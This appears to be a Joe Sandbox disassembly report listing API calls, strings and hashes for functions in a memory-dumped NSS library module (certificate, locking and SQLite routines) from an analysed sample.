EnterCriticalSection.KERNEL32(0000001C,?,6C58E477,?,?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C592C76
PL_HashTableLookup.NSS3(00000000,?,?,6C58E477,?,?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C592C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C58E477,?,?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C592C93

Part of subcall function 6C61DD70: TlsGetValue.KERNEL32 ref: 6C61DD8C
Part of subcall function 6C61DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C61DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C58E477,?,?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C592CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C58E477,?,?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C592CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C58E477,?,?,?,00000001,00000000,?,?,6C593F23), ref: 6C592CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C58E477,?,?,?,00000001,00000000,?), ref: 6C592CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C58E477,?,?,?,00000001,00000000,?), ref: 6C592D4D
EnterCriticalSection.KERNEL32(?), ref: 6C592D61
PL_HashTableLookup.NSS3(?,?), ref: 6C592D71
PR_Unlock.NSS3(?), ref: 6C592D7E

Part of subcall function 6C5607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4F204A), ref: 6C5607AD
Part of subcall function 6C5607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4F204A), ref: 6C5607CD
Part of subcall function 6C5607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4F204A), ref: 6C5607D6
Part of subcall function 6C5607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4F204A), ref: 6C5607E4
Part of subcall function 6C5607A0: TlsSetValue.KERNEL32(00000000,?,6C4F204A), ref: 6C560864
Part of subcall function 6C5607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C560880
Part of subcall function 6C5607A0: TlsSetValue.KERNEL32(00000000,?,?,6C4F204A), ref: 6C5608CB
Part of subcall function 6C5607A0: TlsGetValue.KERNEL32(?,?,6C4F204A), ref: 6C5608D7
Part of subcall function 6C5607A0: TlsGetValue.KERNEL32(?,?,6C4F204A), ref: 6C5608FB

Strings

#?Yl, xrefs: 6C592C43

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?Yl
API String ID: 2446853827-2475275791
Opcode ID: edac35696ddf8eacd7e461d4e4fbc7f886c9f07c729b276e15a7d6ffc53cd3f3
Instruction ID: 3e8739d9144a53ef2b4ee98cde92d509121ca5cd7f7f2fe24a080ce36855478f
Opcode Fuzzy Hash: edac35696ddf8eacd7e461d4e4fbc7f886c9f07c729b276e15a7d6ffc53cd3f3
Instruction Fuzzy Hash: 6F51D2B6D00214EBDB009F25DC858AAB7B8EF5525CF048564EC1997B21EB31ED64C7E1

Function 6C580470 Relevance: 21.2, APIs: 14, Instructions: 206timeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5804B7

Part of subcall function 6C5D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5787ED,00000800,6C56EF74,00000000), ref: 6C5D1000
Part of subcall function 6C5D0FF0: PR_NewLock.NSS3(?,00000800,6C56EF74,00000000), ref: 6C5D1016
Part of subcall function 6C5D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5787ED,00000008,?,00000800,6C56EF74,00000000), ref: 6C5D102B

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C580539

Part of subcall function 6C5D1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C5788A4,00000000,00000000), ref: 6C5D1228
Part of subcall function 6C5D1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C5D1238
Part of subcall function 6C5D1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C5788A4,00000000,00000000), ref: 6C5D124B
Part of subcall function 6C5D1200: PR_CallOnce.NSS3(6C6D2AA4,6C5D12D0,00000000,00000000,00000000,?,6C5788A4,00000000,00000000), ref: 6C5D125D
Part of subcall function 6C5D1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C5D126F
Part of subcall function 6C5D1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C5D1280
Part of subcall function 6C5D1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C5D128E
Part of subcall function 6C5D1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C5D129A
Part of subcall function 6C5D1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C5D12A1

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C58054A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C58056D
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5805CA
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C5805EA
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6C5805FD
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6C580621
PR_EnterMonitor.NSS3 ref: 6C58063E
PR_ExitMonitor.NSS3 ref: 6C580668
CERT_DestroyCertificate.NSS3(?), ref: 6C580697
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5806AC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5806CC
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5806DA

Part of subcall function 6C57E6B0: PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6C5804DC,?,?), ref: 6C57E6C9
Part of subcall function 6C57E6B0: PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6C5804DC,?,?), ref: 6C57E6D9
Part of subcall function 6C57E6B0: memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6C5804DC,?,?), ref: 6C57E6F4
Part of subcall function 6C57E6B0: SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5804DC,?), ref: 6C57E703
Part of subcall function 6C57E6B0: CERT_FindCertIssuer.NSS3(?,?,6C5804DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C57E71E

Part of subcall function 6C57F660: PR_EnterMonitor.NSS3(6C58050F,?,00000001,?,?,?), ref: 6C57F6A8
Part of subcall function 6C57F660: PR_Now.NSS3(?,?,?,00000001,?,?,?), ref: 6C57F6C1
Part of subcall function 6C57F660: PR_ExitMonitor.NSS3(?,?,?,00000001,?,?,?), ref: 6C57F7C8

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Util$ArenaArena_ErrorFree$Monitor$EnterPool$CriticalExitSectionfree$AlgorithmAlloc_CallCertCertificateClearDeleteDestroyFindGeneralizedInitIssuerLockMark_OnceTimeTime_UnlockValuecallocmemset
String ID:
API String ID: 2470852775-0
Opcode ID: c6f6463808f0be4b72938c693b98708d39447bf1015725764b9a2246f496fc8f
Instruction ID: 4b06634af27bc788461a45e70d5fa078e43a622878a5d8506bfd94d95337bd51
Opcode Fuzzy Hash: c6f6463808f0be4b72938c693b98708d39447bf1015725764b9a2246f496fc8f
Instruction Fuzzy Hash: 39614971A073619FEB10CE69CC40B5B73E4AFC0358F10452AF95597B91E730E908CBA6

Function 6C5B6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C5B781D,00000000,6C5ABE2C,?,6C5B6B1D,?,?,?,?,00000000,00000000,6C5B781D), ref: 6C5B6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C5B781D,?,6C5ABE2C,?), ref: 6C5B6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C5B781D), ref: 6C5B6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C5B6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C5B6C96

Part of subcall function 6C561240: TlsGetValue.KERNEL32(00000040,?,6C56116C,NSPR_LOG_MODULES), ref: 6C561267
Part of subcall function 6C561240: EnterCriticalSection.KERNEL32(?,?,?,6C56116C,NSPR_LOG_MODULES), ref: 6C56127C
Part of subcall function 6C561240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C56116C,NSPR_LOG_MODULES), ref: 6C561291
Part of subcall function 6C561240: PR_Unlock.NSS3(?,?,?,?,6C56116C,NSPR_LOG_MODULES), ref: 6C5612A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C5B6CAA

Strings

dbm:, xrefs: 6C5B6C3A
rdb:, xrefs: 6C5B6C69
dbm, xrefs: 6C5B6CA4
extern:, xrefs: 6C5B6C7E
sql:, xrefs: 6C5B6C52
NSS_DEFAULT_DB_TYPE, xrefs: 6C5B6C91

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 097a6a0330539c598fd78381a14399d94483d367def5d158cff685a8bc470227
Instruction ID: 41a4d8887b7d8a78869d60cfa52cc5568cd8baaf16449ef15412d521e8a97de0
Opcode Fuzzy Hash: 097a6a0330539c598fd78381a14399d94483d367def5d158cff685a8bc470227
Instruction Fuzzy Hash: 6C01A7B17033053BEA00277A5DA9F26395C9F52158F180431FE05F0941EFB2E62645BD

Function 6C644C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C644CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C644CFD
sqlite3_value_text16.NSS3(?), ref: 6C644D44

Strings

no more rows available, xrefs: 6C644D2E
unknown error, xrefs: 6C644D56
abort due to ROLLBACK, xrefs: 6C644D27, 6C644D33
out of memory, xrefs: 6C644C78, 6C644C9E
API call with %s database connection pointer, xrefs: 6C644CF6
invalid, xrefs: 6C644CF1
bad parameter or other API misuse, xrefs: 6C644D05
another row available, xrefs: 6C644D20

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 2a134e23f2f4d13d24360503ba3ba64ccbf761c43a93fe28bcb17ac1fad3c205
Instruction ID: 4a400ebb67411f4425b8ee449ad6418397ee11a9a3e4cc7b13e0d0f50a5e114a
Opcode Fuzzy Hash: 2a134e23f2f4d13d24360503ba3ba64ccbf761c43a93fe28bcb17ac1fad3c205
Instruction Fuzzy Hash: 95315872A09951A7D7084E25A8037F5B3A27B82318F19C125D8245BE55CFE1AC22C7EE

Function 6C512450 Relevance: 19.2, APIs: 15, Instructions: 440COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5124BA
LeaveCriticalSection.KERNEL32(?), ref: 6C51250D
EnterCriticalSection.KERNEL32(?), ref: 6C512554
LeaveCriticalSection.KERNEL32(?), ref: 6C5125A7
EnterCriticalSection.KERNEL32(?), ref: 6C512609
LeaveCriticalSection.KERNEL32(?), ref: 6C51265F
EnterCriticalSection.KERNEL32(?), ref: 6C5126A2
LeaveCriticalSection.KERNEL32(?), ref: 6C5126F5
EnterCriticalSection.KERNEL32(?), ref: 6C512764
LeaveCriticalSection.KERNEL32(?), ref: 6C512898
EnterCriticalSection.KERNEL32(?), ref: 6C5128D0
EnterCriticalSection.KERNEL32(?), ref: 6C512948
LeaveCriticalSection.KERNEL32(?), ref: 6C51299B
EnterCriticalSection.KERNEL32(?), ref: 6C5129E2
LeaveCriticalSection.KERNEL32(?), ref: 6C512A31

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: 17516761dba05f53f3201905317d70bb573165925be9b8abcbce35f34655ffcf
Instruction ID: f45fefc6ee87de510eee8a979649fad4c799cc9b73d3069f492eafc037636c15
Opcode Fuzzy Hash: 17516761dba05f53f3201905317d70bb573165925be9b8abcbce35f34655ffcf
Instruction Fuzzy Hash: 7DF18F31B092109BEB049F67DDCEA7A3770BB47315F180129D80657A40DB79AE51CBDA

Function 6C5DE400 Relevance: 18.2, APIs: 12, Instructions: 206threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C5DDAE2,?), ref: 6C5DC6C2

SECOID_GetAlgorithmTag_Util.NSS3(-000000D8), ref: 6C5DE4A0
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5DE4B1
SECOID_GetAlgorithmTag_Util.NSS3(-00000010), ref: 6C5DE4C4
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C5DE4D2
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,00000000), ref: 6C5DE525
PK11_FreeSymKey.NSS3(00000000), ref: 6C5DE592
PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C5DE5CF
PR_GetCurrentThread.NSS3 ref: 6C5DE5F2
PR_SetError.NSS3(00000000,00000000), ref: 6C5DE601
PK11_PubUnwrapSymKey.NSS3(?,?,-00000001,00000105,00000000), ref: 6C5DE620
PR_GetCurrentThread.NSS3 ref: 6C5DE632
PR_SetError.NSS3(00000000,00000000), ref: 6C5DE641

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Util$Tag_$AlgorithmK11_$CurrentErrorFindFreeThread$DestroyPrivateUnwrap
String ID:
API String ID: 2900466288-0
Opcode ID: 1eba10d9225e1f42aac01851cd0121dc386603250b8c8a3d4d66848d534c8aac
Instruction ID: 45403a88fb93f93661e04ca50881ee7b7e0249ef83cd1e5f22edabd2487342da
Opcode Fuzzy Hash: 1eba10d9225e1f42aac01851cd0121dc386603250b8c8a3d4d66848d534c8aac
Instruction Fuzzy Hash: B661B1B1A113059FEB10CF6DDC80A6FB7E8AF44248B550929E806D7B12F7B1F905CBA5

Function 6C4F4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C4F3921,6C6D14E4,6C63CC70), ref: 6C4F4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C4F3921,6C6D14E4,6C63CC70), ref: 6C4F4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C4F3921,6C6D14E4,6C63CC70), ref: 6C4F4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C4F3921,6C6D14E4,6C63CC70), ref: 6C4F4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C4F3921,6C6D14E4,6C63CC70), ref: 6C4F4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C4F3921,6C6D14E4,6C63CC70), ref: 6C4F4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C4F3921,6C6D14E4,6C63CC70), ref: 6C4F4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C4F3921,6C6D14E4,6C63CC70), ref: 6C4F4D97
PR_Lock.NSS3(?,?,?,?,?,6C4F3921,6C6D14E4,6C63CC70), ref: 6C4F4DBA
PR_WaitCondVar.NSS3 ref: 6C4F4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C4F3921,6C6D14E4,6C63CC70), ref: 6C4F4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C4F3921,6C6D14E4,6C63CC70), ref: 6C4F4DEF

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: ce03e516ea7f71f96b8b5daad6c391e3f32d749b529c2f6d21c4bf8d255af685
Instruction ID: e56c6e68b2662449362bbea35b16c3caf9ba7946395975ef86d9419347a76e99
Opcode Fuzzy Hash: ce03e516ea7f71f96b8b5daad6c391e3f32d749b529c2f6d21c4bf8d255af685
Instruction Fuzzy Hash: 4A41C4B5A04650CFCB00EF79D584D59B7F4BF86368F055629D89897700EB30E886CB99

Function 6C5A6C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C5A6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5A6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5A6CA3

Part of subcall function 6C68D930: PL_strncpyz.NSS3(?,?,?), ref: 6C68D963

PR_LogPrint.NSS3(?,00000000), ref: 6C5A6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C5A6CD5

Strings

nhl, xrefs: 6C5A6CF4, 6C5A6D1F
C_DigestInit, xrefs: 6C5A6C61
(CK_INVALID_HANDLE), xrefs: 6C5A6C9C
pMechanism = 0x%p, xrefs: 6C5A6CD0
hSession = 0x%x, xrefs: 6C5A6C7E, 6C5A6C8E

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nhl
API String ID: 1003633598-3591148122
Opcode ID: 5e0f1fba3b1be2b6c37d4e0b28c834c9b8802e18034f553628b2673eba378599
Instruction ID: 74ce6e33bccc5b28b59dd640baaabfa31c09dbf9333fc5ad48a509ce5cde391e
Opcode Fuzzy Hash: 5e0f1fba3b1be2b6c37d4e0b28c834c9b8802e18034f553628b2673eba378599
Instruction Fuzzy Hash: 3521E334601214ABDB009F9B9D98B9E77B5EB86318F448025E90997A11DF30AC09CBAD

Function 6C4F2400 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 125COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,bind on a busy prepared statement: [%s],?), ref: 6C4F24EC
sqlite3_log.NSS3(00000015,API called with NULL prepared statement,?,?,?,?,?,6C4F2315), ref: 6C4F254F
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000151C9,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,6C4F2315), ref: 6C4F256C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4F24F4, 6C4F2557
misuse, xrefs: 6C4F2561
bind on a busy prepared statement: [%s], xrefs: 6C4F24E6
API called with NULL prepared statement, xrefs: 6C4F253C
%s at line %d of [%.10s], xrefs: 6C4F2566
API called with finalized prepared statement, xrefs: 6C4F2543, 6C4F254D

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API called with NULL prepared statement$API called with finalized prepared statement$bind on a busy prepared statement: [%s]$misuse
API String ID: 632333372-2222229625
Opcode ID: 7b5808f99a4871b7592479f609a664c726b2c876ce6deaebcb8942f1b7f9150f
Instruction ID: f9f24039616f91129d9d1db1d2e018307698b87400ce32bc5285b081b34656fe
Opcode Fuzzy Hash: 7b5808f99a4871b7592479f609a664c726b2c876ce6deaebcb8942f1b7f9150f
Instruction Fuzzy Hash: 884102717046409BE724CF59DC98F6773B6AFC1319F14492CE8664BB40DB7AE8078B91

Function 6C5CA470 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C5CA4A6

Part of subcall function 6C5D0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5D08B4

PORT_Alloc_Util.NSS3(?), ref: 6C5CA4EC

Part of subcall function 6C5D0BE0: malloc.MOZGLUE(6C5C8D2D,?,00000000,?), ref: 6C5D0BF8
Part of subcall function 6C5D0BE0: TlsGetValue.KERNEL32(6C5C8D2D,?,00000000,?), ref: 6C5D0C15

memcpy.VCRUNTIME140(-00000006,?,?), ref: 6C5CA527
memcmp.VCRUNTIME140(00000006,?,?), ref: 6C5CA56D
memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6C5CA583
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C5CA596
free.MOZGLUE(?), ref: 6C5CA5A4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5CA5B6

Strings

^jXl, xrefs: 6C5CA475

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Error$Utilmemcmp$Alloc_FindTag_Valuefreemallocmemcpy
String ID: ^jXl
API String ID: 3906949479-2041582420
